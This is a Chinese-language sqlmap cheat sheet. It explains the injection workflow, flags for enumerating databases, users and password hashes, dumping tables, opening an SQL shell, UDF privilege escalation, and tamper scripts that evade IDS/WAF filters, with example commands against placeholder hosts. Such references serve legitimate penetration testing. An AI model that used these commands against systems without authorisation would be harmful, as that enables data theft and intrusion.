一、明确使用sqlmap进行sql注入操作流程:
(1)判断可注入的参数 (2)判断可以用那种SQL注入技术来注入 (3)识别出哪种数据库 (4)根据用户选择,读取哪些数据
二、目标后所接的参数说明
-u +URL? -d #直连数据库,"mysql://root:root@192.168.1.1:3306/mysql" -l #从Burp代理日志文件中解析目标地址 -m #从文本文件中批量获取目标 -r #从文件中读取 HTTP 请求 --purge #清除历史缓存 --flush-session #清除上次扫描的缓存?
三、目标后枚举所接的参数说明
以下选项用于获取数据库的信息,结构和数据表中的数据。 -a, --all #获取所有信息、数据 -b, --banner #获取 DBMS banner,返回数据库的版本号 --current-user #获取 DBMS 当前用户 --current-db #获取 DBMS 当前数据库 --hostname #获取 DBMS 服务器的主机名 --is-dba #探测 DBMS 当前用户是否为 DBA(数据库管理员) --users #枚举出 DBMS 所有用户 --passwords #枚举出 DBMS 所有用户的密码哈希 --privileges #枚举出 DBMS 所有用户特权级 --roles #枚举出 DBMS 所有用户角色 --dbs #枚举出 DBMS 所有数据库 --tables #枚举出 DBMS 数据库中的所有表 --columns #枚举出 DBMS 表中的所有列 --schema #枚举出 DBMS 所有模式 --count #获取数据表数目 --dump #导出 DBMS 数据库表项 --stop 10 #只取前10行数据 -D DB #指定要枚举的 DBMS 数据库 -T TBL #指定要枚举的 DBMS 数据表 -C COL #指定要枚举的 DBMS 数据列 --sql-query=QUERY #指定要执行的 SQL 语句 --sql-shell #调出交互式 SQL shell
四、目标输出信息的详细程度参数说明
共7个级别(0~6),默认为1,可以用 -vv 代替 -v 2,推荐使用这种方法,具体介绍如下: ? 0:只输出 Python 出错回溯信息,错误和关键信息 ? 1:增加输出普通信息和警告信息 ? 2:增加输出调试信息 ? 3:增加输出已注入的 payloads ? 4:增加输出 HTTP 请求 ? 5:增加输出 HTTP 响应头 ? 6:增加输出 HTTP 响应内容
五、检测目标等级参数说明
level有5级,越高检测越全,默认为 1 --level 1 检测Get和Post --level 2 检测HTTP Cookie --level 3 检测User-Agent和Referer --level 4 检测 --level 5 检测 HOST 头 risk有3级,级别越高风险越大,默认为1 --risk 2 会在默认的检测上添加大量时间型盲注语句测试 --risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库
六、调整特定的sql注入技术参数说明
以下选项用于调整特定 SQL 注入技术的测试方法 --technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”) B: Boolean-based blind SQL injection(布尔型盲注) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(联合查询注入) S: Stacked queries SQL injection(堆查询注入) T: Time-based blind SQL injection(时间型盲注) Q: inline Query injection(内联查询注入) --time-sec=TIMESEC #设置延时注入的时间(默认为 5) --second-order=S.. #设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)
七、举例说明各种sql注入参数
从文件读取HTTP请求,GET和POST都可以: sqlmap -r "burp.txt" -p "username" #-p 指定存在注入的参数 Cookie注入: sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2 当防火墙,对请求速度做了限制: sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10 #在每个HTTP请求之间的延迟10秒: 伪静态注入: sqpmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*'
八、UDF提权
使用选项 --udf-inject 并按照说明进行操作即可; 如果需要,也可以使用 --shared-lib 选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。此功能仅对 MySQL 或 PostgreSQL 有用。
九、Tamper脚本——绕过IDS/WAF的检测
使用说明:sqlmap.py --tamper="模块名.py" apostrophemask #将单引号 url 编码 apostrophenullencode #将单引号替换为宽字节 unicode 字符 base64encode #base64 编码 between #将大于符号和等号用 between 语句替换,用于过滤了大于符 号和等号的情况 bluecoat #用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空 格和等号的情况 charencode #用 url 编码一次你的 payload charunicodeencode #用 unicode 编码 payload ,只编码非编码字符
|